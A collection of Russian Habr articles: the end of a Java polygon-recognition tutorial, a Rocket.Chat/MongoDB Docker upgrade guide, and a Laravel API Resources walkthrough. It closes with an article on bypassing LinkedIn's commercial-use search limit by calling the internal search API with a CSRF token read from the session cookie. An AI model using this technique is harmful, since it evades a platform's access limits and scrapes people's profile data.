for (int index = 0; index < size; index += 1) {
values[index] += -kernelSum / size;
}
return new Kernel(values, center);
}
```
Данная формула рассчитывает расстояние до точек квадрата о 0 до 45 градусов.
Рис 4: Ядро свертки, для определения углов многоугольника.Данное ядро было выбрано по двум причинам — оно достаточно простое для понимания и оно дает достаточно хорошее приближение к реальности. Тем не менее возможно подобрать лучший вариант.
Код свертки расстояний с истолькованием ядра
```
// data - исходные расстояния до центра, приведенные к диапазону 0..1
// result - результат свертки
public void apply(double[] data, double[] result) {
for (int dataIndex = 0; dataIndex < data.length; dataIndex += 1) {
double sum = 0.0;
for (int kernelIndex = 0; kernelIndex < values.length; kernelIndex += 1) {
int offset = dataIndex + kernelIndex - center;
if (offset < 0) {
offset += data.length;
}
if (offset >= data.length) {
offset -= data.length;
}
sum += values[kernelIndex] * data[offset];
}
result[dataIndex] = sum;
}
}
```
Применив свертку к графику, представленному на рисунке 3, получим график, на котором значения, соответствующие пикам, достаточно хорошо выделены.
Рис 4: Расстояния после свертки.На данном графике можно выделить четыре пика, соответствующие точкам многоугольника. Для выделения точек используем следующий алгоритм:
1. Выделим все области, где значение больше нуля, каждая область будет соответствовать одной точке;
2. Для каждой области найдем максимальное значение на графике. Будем считать, что данное значение соответствую искомому углу многоугольника;
3. Найден точку, соответствующую найденному значению в исходных данных и добавим ее в список углов многоугольника;
4. Если найдено слишком много углов, то будем считать фигуру окружностью.
Код нахождения углов многоугольника
```
// Выбирает начальную позицию так, чтобы она находилась на границе.
int startIndex = 0;
while (startIndex < filtered.length && filtered[startIndex] >= 0.0) {
startIndex += 1;
}
while (startIndex < filtered.length && filtered[startIndex] < 0.0) {
startIndex += 1;
}
// Для каждого пика выбираем точку с максимальным значением.
List found = new ArrayList<>();
boolean inPoint = true;
double maxValue = filtered[startIndex];
int maxIndex = indexes[startIndex];
for (int index = 0; index < filtered.length; index += 1) {
int offset = index + startIndex;
if (offset >= filtered.length) {
offset -= filtered.length;
}
double value = filtered[offset];
if (value >= 0.0 && inPoint) {
if (maxValue < value) {
maxValue = value;
maxIndex = offset;
}
} else if (value >= 0.0 && !inPoint) {
maxValue = value;
maxIndex = offset;
inPoint = true;
} else if (value < 0.0 && inPoint) {
Distance distance = distancies.get(indexes[maxIndex]);
found.add(distance);
inPoint = false;
} else if (value < 0.0 && !inPoint) {
}
}
```
Рис 5: Области, содержащие углы многоугольника.Распознавание окружностей
-------------------------
Данный алгоритм в любой окружности способен найти многоугольник. Для того, чтобы отсеять подобные многоугольники необходимо добавить дополнительную фильтрацию окружностей. Будет считать фигуру окружностью в том случае, если после свертки нет ни одного значения больше 1. Это будет означать, что фигура не имеет ни одного ярко выраженного угла, а значит ее можно считать окружностью.
Код распознавания окружности
```
boolean isCircle = true;
for (double value : filtered) {
if (value > 1.0) {
isCircle = false;
break;
}
}
```
Рис 6: Значения для окружности.Данный критерий не подходит для распознавания эллипсов, сильно вытянутых в одном направлении. Это связано с тем, что такие эллипсы имеют пики, подобные углам многоугольника.
Рис 7: Значения для эллипса.Отличить эллипс возможно по числу найденных углов. Если алгоритмом было найдено два угла, то, вероятно, фигура является эллипсом. Однако, такая проверка не была реализована в рамках данного проекта.
Что можно улучшить
------------------
* Использовать центр масс вместо простого среднего значения. Это должно лучше выделять пики, соответствующие углам;
* Улучшить распознавание окружностей. Сейчас они просто вписываются в прямоугольник, содержащий все точки;
* Реализовать распознавание не только центра эллипса, но и его поворота;
* Использовать промежуточные точки, чтобы точнее построить ребро многоулгольника;
* Выбрать хорошее ядро для фильтрации расстояний.
Заключение
----------
Предложенный алгоритм справляется со своей задачей. Он достаточно хорошо распознает простые фигуры, за исключением окружностей.
Рис 8: Пример распознавания различных фигур.Весь код доступен в [этом репозитории](https://github.com/SnakeSolid/java-recognize-shape). | https://habr.com/ru/post/597449/ | null | ru | null |
# Руководство по обновлению до MongoDB 5.0 и Rocket.Chat 4.0 в Docker
Недавно вышел [Rocket.Chat 4.0.0](https://github.com/RocketChat/Rocket.Chat/releases/tag/4.0.0), и, честно говоря, перейти на новую версию с предыдущей не так-то просто.
Хотя возможность перехода на новую версию [Rocket.Chat](https://rocket.chat/) с более старых (3.x.y.) предусмотрена, некоторые ранние версии [MongoDB](https://www.mongodb.com/), а именно 3.6 и 4.0, уже не рекомендуются к использованию с популярным чат-сервером с момента выхода новой. Кроме того, для версии MongoDB 3.4 уже не предоставляется поддержка. Эти новшества впервые подтвердили в запросе на включение изменений [#22907](https://github.com/RocketChat/Rocket.Chat/pull/22907), составленном две недели назад (прим. переводчика: дата составления — 21.09.21).
В этом руководстве я отразил полный пошаговый процесс перехода на новый Rocket.Chat с обновлением базы данных MongoDB до последней версии — 5.0.
Кроме того, есть насущная необходимость перейти с движка хранения базы данных [***MMAPv1***](https://docs.mongodb.com/v4.0/core/mmapv1/) (он тоже устарел) на [***WiredTiger***](https://docs.mongodb.com/manual/core/wiredtiger/), ведь это обязательное условие обновления Rocket.Chat. Эта процедура тоже подробно раскрыта в нашей детальной инструкции.
Как перейти с Rocket.Chat 3.x.y на последнюю версию — 4.0.0
-----------------------------------------------------------
Давайте разберём, что вам потребуется для обновления Rocket.Chat до последней версии с помощью Docker на сервере Linux.
### Необходимые условия
Поскольку в этом материале акцент сделан на упрощении процесса миграции и обновления, будем исходить из конфигурации Rocket.Chat (с движком хранения mmap в MongoDB), описанной в [одном из наших руководств по развёртыванию](https://linuxhandbook.com/rocket-chat-docker/).
В этом руководстве также перечислены все необходимые условия. Помимо знания команд Linux, вам пригодится владение [основами работы с Docker Compose](https://linuxhandbook.com/docker-compose-quick-start/). Но самые важные требования в контексте данного руководства такие:
* Развёрнутый в Docker Rocket.Chat версии 3.0.0 и выше с базой данных MongoDB версии не старее 3.4.
* [Обратный прокси Nginx](https://linuxhandbook.com/nginx-reverse-proxy-docker/), настроенный для виртуального хостинга сервера Rocket.Chat.
### Шаг 0: Создайте резервную копию дампа имеющейся базы данных MongoDB
Чтобы защититься от потери данных, лучше начать с сохранения имеющейся базы MongoDB:
```
mkdir ~/backup
cd ~/rocketchat
docker-compose exec mongo mongodump --archive=/dump/mmap --gzip
cp data/dump/mmap ~/backup/mongo-mmap-dump.gzip
```
Также рекомендую сохранить полную [резервную копию текущего экземпляра Rocket.Chat](https://linuxhandbook.com/backup-restore-docker-services/).
А сейчас разберём, как выполнить три задачи:
* Сменить устаревший движок хранения mmap на WiredTiger
* Обновить экземпляр MongoDB
* Обновить экземпляр Rocket.Chat
### Шаг 1: Остановите текущую систему Rocket.Chat со всеми службами
Этот шаг особенно важен, поскольку позволяет избежать повреждений данных в **MongoDB**. В качестве предосторожности не рекомендуется проводить миграцию и обновление активного экземпляра базы данных — даже через [масштабирование](https://linuxhandbook.com/update-docker-container-zero-downtime/#step-2-scale-up-a-new-container).
```
docker-compose stop
```
В отличие от `docker-compose down` эта команда только остановит ваши контейнеры, не удаляя их, что сократит время простоя до минимума.
### Шаг 2: Загрузите репозиторий «MongoDB mmap to wiredTiger migration»
С помощью git поместите официальный репозиторий для миграции в отдельное место на своём сервере. Рассматривайте его как набор средств для миграции от разработчиков Rocket.Chat.
```
git clone https://github.com/RocketChat/docker-mmap-to-wiredtiger-migration ~/rocketchat-migration
```
### Шаг 3: Скопируйте из загруженного репозитория папку «docker»
В этой папке находится Dockerfile кастомного образа средства миграции. Для изменённой версии файла Docker Compose в существующей папке compose должно быть вот что:
```
cp -r ~/rocketchat-migration/docker ~/rocketchat/docker
```
### Шаг 4: Создайте резервную копию текущего файла Docker Compose
Здесь я назвал её `docker-compose.old.yml`. Можете использовать её как отправную точку при работе с новой конфигурацией (о которой в следующем шаге):
```
mv ~/rocketchat/docker-compose.yml ~/rocketchat/docker-compose.old.yml
```
### Шаг 5: Используйте новый, основанный на миграции файл Docker Compose
В только что скачанном репозитории миграции также есть новый файл Docker Compose, обеспечивающий лёгкое начало процесса. Однако в нашем случае мне пришлось следовать конфигурации, которая учитывает наличие обратного прокси-сервера:
```
version: "3.7"
services:
rocketchat:
image: rocketchat/rocket.chat:3.18.2
command: >
bash -c
"for (( ; ; )); do
node main.js &&
s=$$? && break || s=$$?;
echo \"Could not start Rocket.Chat. Waiting 5 secs...\";
sleep 5;
done; (exit $$s)"
restart: on-failure
volumes:
- ./uploads:/app/uploads
environment:
- PORT=3000
- ROOT_URL=https://chat.domain.com
- LETSENCRYPT_HOST=chat.domain.com
- VIRTUAL_HOST=chat.domain.com
- MONGO_URL=mongodb://mongo:27017/rocketchat
- MONGO_OPLOG_URL=mongodb://mongo:27017/local
- Accounts_UseDNSDomainCheck=false
depends_on:
- mongo
networks:
- net
- rocket
mongo:
image: mongo:4.0
restart: on-failure
volumes:
- ./data/db:/data/db
- ./data/dump:/dump
command: >
bash -c
"while [ ! -f /data/db/WiredTiger ]; do
echo \"wiredTiger migration hasn't started yet. Waiting 30 secs...\";
sleep 30;
done;
docker-entrypoint.sh mongod --oplogSize 128 --replSet rs0 --storageEngine=wiredTiger;"
depends_on:
- migrator
networks:
- rocket
migrator:
build: ./docker/
volumes:
- ./data/db:/data/db
networks:
- rocket
mongo-init-replica:
image: mongo:4.0
command: >
bash -c
"for (( ; ; )); do
mongo mongo/rocketchat --eval \"
rs.initiate({
_id: 'rs0',
members: [ { _id: 0, host: 'localhost:27017' } ]})\" &&
s=$$? && break || s=$$?;
echo \"Could not reach MongoDB. Waiting 5 secs ...\";
sleep 5;
done; (exit $$s)"
depends_on:
- mongo
networks:
- rocket
networks:
net:
external: true
rocket:
internal: true
```
Будьте внимательны: это не окончательная конфигурация. Впереди еще много шагов и изменений. Всё, что выше, вам понадобится только для этого шага. Про дальнейшие изменения расскажу чуть позже.
Служба `migrator` не запустится, пока не найдет движок хранения ***mmap***. После этого она выполнит одну задачу — заменит его на ***wiredTiger***. В отсутствие движка mmap служба прекратит работу. Служба `mongo` работает по такому же принципу. Подробнее о ней — в следующем шаге.
### Шаг 6: Создайте образ средства миграции для запуска миграции
Сейчас изучим команду, с помощью которой создаётся образ средства миграции и запускается сам процесс. Эта же команда затем запустит контейнеры. Rocket.Chat подождёт, пока база данных завершит инициализацию, и только потом запустится.
```
docker-compose up --build -d
```
Для общего контроля над процессом можете отслеживать его ход с помощью команды Docker Compose Logs.
```
docker-compose logs -f migrator
```
Подождите окончания выполнения команды: она выдаст заключительную подсказку с кодом завершения 0, когда экземпляр ***wiredTiger*** корректно прекратит работу:
```
rocketchat_migrator_1 exited with code 0
```
Теперь следите за базой данных:
```
docker-compose logs -f mongo
```
Дайте ей немного времени на инициализацию, а потом проверьте экземпляр Rocket.Chat:
```
docker-compose logs -f rocketchat
```
Подождите, пока не появится сообщение «SERVER RUNNING». Общий вид будет примерно такой:
```
rocketchat_1 | ➔ +--------------------------------------------------+
rocketchat_1 | ➔ | SERVER RUNNING |
rocketchat_1 | ➔ +--------------------------------------------------+
rocketchat_1 | ➔ | |
rocketchat_1 | ➔ | Rocket.Chat Version: 3.18.2 |
rocketchat_1 | ➔ | NodeJS Version: 12.22.1 - x64 |
rocketchat_1 | ➔ | MongoDB Version: 4.0.18 |
rocketchat_1 | ➔ | MongoDB Engine: wiredTiger |
rocketchat_1 | ➔ | Platform: linux |
rocketchat_1 | ➔ | Process Port: 3000 |
rocketchat_1 | ➔ | Site URL: https://chat.domain.com |
rocketchat_1 | ➔ | ReplicaSet OpLog: Enabled |
rocketchat_1 | ➔ | Commit Hash: 2ffdd13795 |
rocketchat_1 | ➔ | Commit Branch: HEAD |
rocketchat_1 | ➔ | |
rocketchat_1 | ➔ +--------------------------------------------------+
```
Как понятно выше из строки `MongoDB Engine: wiredTiger`, экземпляр Rocket.Chat теперь использует движок хранения ***wiredTiger*** вместо устаревшего ***MMAPv1***. Значит, он готов к установке любых дальнейших обновлений? Как бы не так! `MongoDB версии 4.0.18` тоже объявлена нежелательной. Это всплывёт, если перейти на Rocket.Chat 4.0.0, не обновив MongoDB хотя бы до версии 4.2:
```
rocketchat_1 | +--------------------------------------------------+
rocketchat_1 | | SERVER RUNNING |
rocketchat_1 | +--------------------------------------------------+
rocketchat_1 | | |
rocketchat_1 | | Rocket.Chat Version: 4.0.0 |
rocketchat_1 | | NodeJS Version: 12.22.1 - x64 |
rocketchat_1 | | MongoDB Version: 4.0.18 |
rocketchat_1 | | MongoDB Engine: wiredTiger |
rocketchat_1 | | Platform: linux |
rocketchat_1 | | Process Port: 3000 |
rocketchat_1 | | Site URL: https://chat.domain.com |
rocketchat_1 | | ReplicaSet OpLog: Enabled |
rocketchat_1 | | Commit Hash: 2ffdd13795 |
rocketchat_1 | | Commit Branch: HEAD |
rocketchat_1 | | |
rocketchat_1 | +--------------------------------------------------+
rocketchat_1 | +----------------------------------------------------------------------+
rocketchat_1 | | DEPRECATION |
rocketchat_1 | +----------------------------------------------------------------------+
rocketchat_1 | | |
rocketchat_1 | | YOUR CURRENT MONGODB VERSION (4.0.18) IS DEPRECATED. |
rocketchat_1 | | IT WILL NOT BE SUPPORTED ON ROCKET.CHAT VERSION 5.0.0 AND GREATER, |
rocketchat_1 | | PLEASE UPGRADE MONGODB TO VERSION 4.2 OR GREATER |
rocketchat_1 | | |
rocketchat_1 | +----------------------------------------------------------------------+
```
Если у вас MongoDB 3.4, имейте в виду, что Rocket.Chat 4.0.0 эту версию НЕ поддерживает. Лучше тоже обновиться до новейшей версии MongoDB во избежание дальнейших неурядиц.
### Шаг 7: Обновите MongoDB и Rocket.Chat
Предположим, что у вас MongoDB версии 3.4 и Rocket.Chat 3.18.2. Чтобы обновиться до версии 5.0, рекомендуется действовать поэтапно, то есть сначала до 3.6, потом 4.0, 4.2 и 4.4 (предпоследней), и только потом до версии 5.0. Разберём, как это сделать.
### Шаг 7а: Сначала остановите экземпляры
```
docker-compose stop
```
### Шаг 7b: Обновите файл Docker Compose
В определениях служб `mongo` и `mongo-init-replica` в файле Docker Compose измените версию образа на вторую последующую версию, как указано выше. То есть, если у вас MongoDB 3.4, замените её версией 3.6. Сохранив изменения, разверните обновлённую конфигурацию, чтобы применить их:
```
docker-compose up -d
```
Теперь контейнер MongoDB будет воссоздан на основе версии 3.6.
### Шаг 7c: Включите функции управления данными, не совместимыми с более ранними версиями MongoDB
Пропустить этот шаг нельзя. Чтобы обновиться до следующей версии (выше 3.6), необходимо выполнить в контейнере MongoDB вот такую команду:
```
docker-compose exec mongo bash -c 'mongo --eval "db.adminCommand( { setFeatureCompatibilityVersion: \"3.6\" } )"'
```
В случае успешного выполнения вы увидите примерно такой результат:
```
MongoDB shell version v3.6.23
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("fb1e57ff-d2ec-4ac0-8187-c1ae8a36418b") }
MongoDB server version: 3.6.23
{
"ok" : 1,
"$clusterTime" : {
"clusterTime" : Timestamp(1633455129, 1),
"signature" : {
"hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="),
"keyId" : NumberLong(0)
}
},
"operationTime" : Timestamp(1633455129, 1)
}
```
Главное, на что обратить внимание — `"ok" : 1,`. Это подтверждение, что настройка активна. Теперь вернитесь к шагу 7a и повторяйте его, пока не обновитесь до версии 4.2 и не активируете совместимость функций.
### Шаг 7d: Обновитесь до Rocket.Chat 4.0.0
Мои поздравления: как счастливый обладатель MongoDB 4.2, вы полностью готовы к переходу на новейшую версию Rocket.Chat — 4.0.0. Можно прибегнуть к масштабированию, чтобы запустить новенький экземпляр Rocket.Chat и минимизировать простой. Измените версию образа в файле Docker Compose на 4.0.0, и можно начинать:
```
docker-compose up -d --scale rocketchat=2 --no-recreate
sleep 20 && docker rm -f rocketchat_rocketchat_1
docker-compose up -d --scale rocketchat=1 --no-recreate
```
Можно также проверить внесённое изменение в журнале:
```
rocketchat_2 | +--------------------------------------------------+
rocketchat_2 | | SERVER RUNNING |
rocketchat_2 | +--------------------------------------------------+
rocketchat_2 | | |
rocketchat_2 | | Rocket.Chat Version: 4.0.0 |
rocketchat_2 | | NodeJS Version: 12.22.1 - x64 |
rocketchat_2 | | MongoDB Version: 4.2.17 |
rocketchat_2 | | MongoDB Engine: wiredTiger |
rocketchat_2 | | Platform: linux |
rocketchat_2 | | Process Port: 3000 |
rocketchat_2 | | Site URL: https://chat.domain.com |
rocketchat_2 | | ReplicaSet OpLog: Enabled |
rocketchat_2 | | Commit Hash: 2ffdd13795 |
rocketchat_2 | | Commit Branch: HEAD |
rocketchat_2 | | |
rocketchat_2 | +--------------------------------------------------+
```
### Шаг 8: Мы почти у цели!
На данном этапе рекомендуется возобновить обновление версии базы данных, поскольку новый Rocket.Chat теперь поддерживает MongoDB 5.0. Так что можно опять вернуться к шагу 7a и повторить действия вплоть до шага 7c уже для MongoDB 5.0. Так ваш экземпляр MongoDB в Docker, как и Rocket.Chat, будет готов к дальнейшим обновлениям. Проверить окончательную версию тоже можно в журнале:
```
rocketchat_2 | +--------------------------------------------------+
rocketchat_2 | | SERVER RUNNING |
rocketchat_2 | +--------------------------------------------------+
rocketchat_2 | | |
rocketchat_2 | | Rocket.Chat Version: 4.0.0 |
rocketchat_2 | | NodeJS Version: 12.22.1 - x64 |
rocketchat_2 | | MongoDB Version: 5.0.3 |
rocketchat_2 | | MongoDB Engine: wiredTiger |
rocketchat_2 | | Platform: linux |
rocketchat_2 | | Process Port: 3000 |
rocketchat_2 | | Site URL: https://chat.chmod777.ltd |
rocketchat_2 | | ReplicaSet OpLog: Enabled |
rocketchat_2 | | Commit Hash: 2ffdd13795 |
rocketchat_2 | | Commit Branch: HEAD |
rocketchat_2 | | |
rocketchat_2 | +--------------------------------------------------+
```
Вот и всё, задача выполнена. Приятной работы с обновлённым сервером Rocket.Chat!
В качестве бонуса
-----------------
Учитывая, что в дальнейшем обновление без простоя через масштабирование будет доступно только для Rocket.Chat, я сохранил файл Docker Compose без изменений, не удаляя определение службы `migrator` и не редактируя определение службы базы данных `mongo`, основанные на первоначальных настройках.
Как только запустится движок хранения `wiredTiger` — они не будут влиять на процесс и, похоже, не потеряют актуальности. Кто знает, может быть, пригодятся для других развёртываний и обновлений. Вот отчёт о работе службы `migrator`, когда вы останавливаете и вновь запускаете уже имеющуюся конфигурацию движка хранения ***wiredTiger***:
```
Attaching to rocketchat_migrator_1
migrator_1 | Found /data/db/WiredTiger - assuming migration to WiredTiger already completed...
migrator_1 | Found /data/db/WiredTiger - assuming migration to WiredTiger already completed...
migrator_1 | Found /data/db/WiredTiger - assuming migration to WiredTiger already completed...
migrator_1 | Found /data/db/WiredTiger - assuming migration to WiredTiger already completed...
migrator_1 | Found /data/db/WiredTiger - assuming migration to WiredTiger already completed...
migrator_1 | Found /data/db/WiredTiger - assuming migration to WiredTiger already completed...
rocketchat_migrator_1 exited with code 0
```
Определение службы `mongo` ведёт себя аналогичным образом и пропускает этап миграции с помощью средства миграции, когда выясняет, что движок хранения ***wiredTiger*** уже установлен.
Кроме того, в моем случае я обновлял базу данных MongoDB с версии 4.0 до более поздней, но мне не понадобилось выполнять команду совместимости функций (шаг 7c) для версии 4.0 заранее. Возможно, эта настройка уже была активна для последующих обновлений.
Заключение
----------
Вы ознакомились с пошаговым руководством по замене устаревшего движка хранения базы данных MongoDB ***MMAPv1*** на ***wiredTiger***, а также обновлению самой MongoDB и экземпляра Rocket.Chat до последней версии — и всё это в Docker.
Надеюсь, руководство окажется полезным тем, кому пришло время обновить свой Rocket.Chat на этой платформе. Также оно может пригодиться, если вы используете MongoDB для других приложений в Docker.
---
НЛО прилетело и оставило здесь промокоды для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**.
— [20% на выделенные серверы AMD Ryzen и Intel Core](https://1dedic.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=coreryzen20#server_configurator) — **HABRFIRSTDEDIC**.
Доступно до 31 декабря 2021 г. | https://habr.com/ru/post/590323/ | null | ru | null |
# Первые впечатления о Laravel API Resources
Прошлой ночью [Taylor Otwell](https://medium.com/@taylorotwell) наконец представил что может стать началом замены Fractal при разработке API на фреймворке Laravel 5.5. Это моя пробная версия статьи, поехали.
*Интересный материал начинается с 4-го шага.*
1. Установка приложения
-----------------------
```
composer create-project laravel/laravel responses dev-develop
cd responses
touch database/database.sqlite
php artisan make:model Post -mfa
php artisan make:resource UsersWithPostsResource
php artisan make:resource PostsResource
php artisan make:controller UsersController --resource
```
Пропишите в файле `.env` проекта использование базы SQLite, убрав все прочие.
```
DB_CONNECTION=sqlite
```
2. Подготовка базы данных
-------------------------
2.1. Создадим миграцию `The posts migration`
```
Schema::create('posts', function (Blueprint $table) {
$table->increments('id');
$table->string('title');
$table->string('body');
$table->unsignedInteger('user_id');
$table->timestamps();
});
```
2.2. Создадим factory: `database/factories/PostFactory.php`
```
php
use Faker\Generator as Faker;
$factory-define(App\Post::class, function (Faker $faker) {
return [
'title' => $faker->sentence,
'body' => $faker->paragraph,
'user_id' => function () {
return factory(\App\User::class);
}
];
});
```
2.3 Добавим отношение в модель `app/User.php`
```
public function posts()
{
return $this->hasMany(Post::class);
}
```
2.4 Избегайте массового присвоения в сообщениях `app/Post.php`
```
php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Post extends Model
{
protected $guarded = [];
}</code
```
2.5 Заполнение базы тестовыми данными
```
php artisan migrate:fresh
php artisan tinker
factory(App\Post::class)->times(2)->create();
factory(App\Post::class)->times(2)->create(['user_id' => 1]);
```
3. Настройка роутов
-------------------
```
Route::apiResource('/users', 'UsersController');
```
4. Преобразование модели в ресурсы
----------------------------------
```
/**
* Display a listing of the resource.
*
* @param User $user
* @return \Illuminate\Http\Response
*/
public function index(User $user)
{
return new UsersWithPostsResource($user->paginate());
}
```
5. Юзеры с ресурсными постами
-----------------------------
```
php
namespace App\Http\Resources;
use Illuminate\Http\Resources\Json\Resource;
class UsersWithPostsResource extends Resource
{
/**
* Transform the resource into an array.
*
* @param \Illuminate\Http\Request
* @return array
*/
public function toArray($request)
{
// Eager load
$this-resource->load('posts');
return $this->resource->map(function ($item) {
return [
'name' => $item->name,
'email' => $item->email,
'posts' => new PostsResource($item->posts)
];
});
}
}
```
6. Ресурсы постов
-----------------
```
php
namespace App\Http\Resources;
use Illuminate\Http\Resources\Json\Resource;
class PostsResource extends Resource
{
/**
* Transform the resource into an array.
*
* @param \Illuminate\Http\Request
* @return array
*/
public function toArray($request)
{
return $this-resource->map(function ($item) {
return [
'title' => $item->title
];
});
}
}
```
7. Вывод
--------
Первая явная разница в сравнении с Fractal в том, что ресурс имеет простой и прямой доступ ко всей коллекции, а не к каждому объекту. Это означает, что при преобразовании коллекции пользователей Вы можете легко загружать каждую запись без N+1 запросов.
Вы можете легко трансформировать «точки», так как можете просто создать новый класс ресурсов для преобразования Ваших данных по мере необходимости.
Я хочу более подробно раскрыть эту тему, как только нарою больше возможностей Laravel API Resources.
От переводчика
--------------
Посчитал эту тему интересной и решил перевести с адаптацией языка. Прошу ногами не пинать. Также приветствуются линки на оригинальную и переведенную доку по данной тематике. | https://habr.com/ru/post/336432/ | null | ru | null |
# Обходим лимит поиска LinkedIn, играя с API
Лимит
-----
Есть на LinkedIn такое ограничение — [Лимит коммерческого использования](https://www.linkedin.com/help/linkedin/answer/52950/commercial-use-limit?lang=en). Крайне вероятно, что вы, как и я до недавнего времени, никогда не сталкивались и не слышали о нем.
Суть лимита в том, что если вы используете поиск людей вне ваших контактов слишком часто (точных метрик нет, решает алгоритм, на основе ваших действий — как часто и много искали, добавляли людей), то результат поиска будет ограничен тремя профилями, вместо 1000 (по умолчанию 100 страниц, по 10 профилей на страницу). Лимит сбрасывается в начале каждого месяца. Естественно, [премиум аккаунты такого ограничения не имеют](https://premium.linkedin.com/unlimited-search).
Но не так давно, для одного пет-проекта, я начал много играться с поиском на LinkedIn и внезапно получил это ограничение. Естественно, такое мне не очень понравилось, ведь я не использовал его в каких-либо коммерческих целях, поэтому первой мыслью было изучить ограничение и попытаться его обойти.
[*Важное уточнение — материалы в статье представлены исключительно в ознакомительных и обучающих целях. Автор не поощряет их использование в коммерческих целях.*]
**#### Важный апдейт — LinkedIn приняли во внимание уязвимость и недавно исправили ее. Обход и плагин больше не работают.**
Изучаем проблему
----------------
Имеем: вместо десяти профилей с пагинацией, поиск выдает только три, после которых вставляется блок с “рекомендацией” премиум аккаунта и ниже идут размытые и не кликабельные профили.
Сразу же рука тянется в консоль разработчика, чтобы посмотреть эти скрытые профили — возможно, мы можем убрать какие-то стили, ставящие блюр, или извлечь информацию из блока в разметке. Но, вполне ожидаемо, эти профили всего лишь [картинки-заглушки](https://static-exp2.licdn.com/sc/h/evqo1kpq96o3utp9hjmjv7wxu) и никакой информации не хранят.
Хорошо, теперь посмотрим во вкладку Network и проверим, действительно ли срабатывает альтернативная выдача результатов поиска, возвращающая только три профиля. Находим интересующий нас запрос к “/api/search/blended” и смотрим на ответ.
Профили приходят в массиве `included`, но сущностей в нем аж 15. В данном случае, первые три из них — объекты с дополнительной информацией, каждый объект содержит информацию по конкретному профилю (например, является ли профиль премиумом).
Последующие 12 это реальные профили — результаты поиска, из которых нам покажут только три. Как уже можно догадаться, показывает только тех, на кого приходит дополнительная информация (первые три объекта). Например, если взять ответ с профиля без лимита, то придет 28 сущностей — 10 объектов с доп. информацией и 18 профилей.
**Ответ для профиля без лимита**
> Почему профилей приходит больше 10, хотя запрашивается именно 10, и они никак не участвуют в отображении, даже на следующей странице их не будет — пока не знаю. Если проанализировать урл запроса то можно увидеть, что count=10 (сколько профилей вернуть в ответе, максимум 49).
>
>
>
> 
>
>
>
> Буду рад любым коментариям по этому поводу.
>
>
Экспериментируем
----------------
Хорошо, самое главное мы теперь точно знаем — профилей приходит в ответе больше, чем нам показывают. Значит мы можем достать больше данных, не смотря на лимит. Давайте попробуем дернуть апи сами, прямо из консоли, при помощи fetch.
Ожидаемо, получаем ошибку, 403. Это связано с безопасностью, здесь мы не отсылаем CSRF токен ([CSRF на Википедии](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0). Если в двух словах — к каждому запросу добавляется уникальный токен, который проверяется на сервере на подлинность).
Его можно скопировать из любого другого успешного запроса или же из cookies, где он хранится в поле ‘JSESSIONID’.
**Где найти токен**Заголовок другого запросa:
Или из куки, прямо через консоль:
Пробуем еще раз, в этот раз передаем в fetch настройки, в которых указываем параметром в header наш csrf-token.
Успех, нам приходят все 10 профилей. :tada:
> Из-за разницы заголовков структура ответа немного отличается от того, что в приходит в оригинальном запросe. Можно получить такую же структуру, если добавить 'Accept: 'application/vnd.linkedin.normalized+json+2.1', к нам в объект, рядом с csrf токеном.
>
> **Пример ответа с добавленным заголовком**
>
>
>
> [Больше о заголовке Accept](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept)
>
>
Что дальше?
-----------
Дальше можно редактировать (руками или автоматизировать) параметр `start`, указывающий на индекс, начиная с которого нам отдадут 10 профилей (по-умолчанию = 0) из всего результата поиска. Иначе говоря, инкрементируя его на 10 после каждого запроса, у нас получается обычная постраничная выдача, по 10 профилей за раз.
На этом этапе у меня было достаточно данных и свободы, чтобы продолжать работу над пет-проектом. Но грех было не попробовать эти данные отобразить прямо на месте, раз уж они на руках. В Ember, который используется на фронте, лезть не будем. На сайте был подключен jQuery, и откопав в памяти знания базового синтаксиса, можно за пару минут создать следующее.
**Код на jQuery**
```
/* рендер блока, принимаем данные профиля и вставляем блок в список профилей используя эти данные */
const createProfileBlock = ({ headline, publicIdentifier, subline, title }) => {
$('.search-results__list').append(
`- [](/in/${publicIdentifier}/)
[###
${title.text}](/in/${publicIdentifier}/)
${headline.text}
${subline.text}
- `
);
};
// дергаем апи, получаем данные и рендерим профили
const fetchProfiles = () => {
// токен
const csrf = 'ajax:9082932176494192209';
// объект с настройками запроса, передаем токен
const settings = { headers: { 'csrf-token': csrf } }
// урл запроса, с динамическим индексом старта в конце
const url = `https://www.linkedin.com/voyager/api/search/blended?count=10&filters=List(geoRegion-%3Ejp%3A0,network-%3ES,resultType-%3EPEOPLE)&origin=FACETED\_SEARCH&q=all&queryContext=List(spellCorrectionEnabled-%3Etrue,relatedSearchesEnabled-%3Etrue)&start=${nextItemIndex}`;
/\* делаем запрос, для каждого профиля в ответе вызываем рендер блока, и после инкрементируем стартовый индекс на 10 \*/
fetch(url, settings).then(response => response.json()).then(data => {
data.elements[0].elements.forEach(createProfileBlock);
nextItemIndex += 10;
});
};
// удаляем все профили из списка
$('.search-results\_\_list').find('li').remove();
// вставляем кнопку загрузки профилей
$('.search-results\_\_list').after('Load More');
// добавляем функционал на кнопку
$('#load-more').addClass('artdeco-button').on('click', fetchProfiles);
// ставим по умолчания индекс профиля для запроса
window.nextItemIndex = 0;
```
Если выполнить это прямо в консоли на странице поиска, то это добавит кнопку, загружающую 10 новых профилей при каждом нажатии, и рендярещее их списком. Конечно, токен и урл перед этим поменять на необходимый. Блок профиля будет содержать имя, должность, локацию, ссылку на профиль и картинку-заглушку.
Заключение
----------
Таким образом, при минимуме усилий, мы смогли найти уязвимое место и вернуть себе поиск без ограничений. Достаточно было проанализировать данные и их путь, заглянуть в сам запрос.
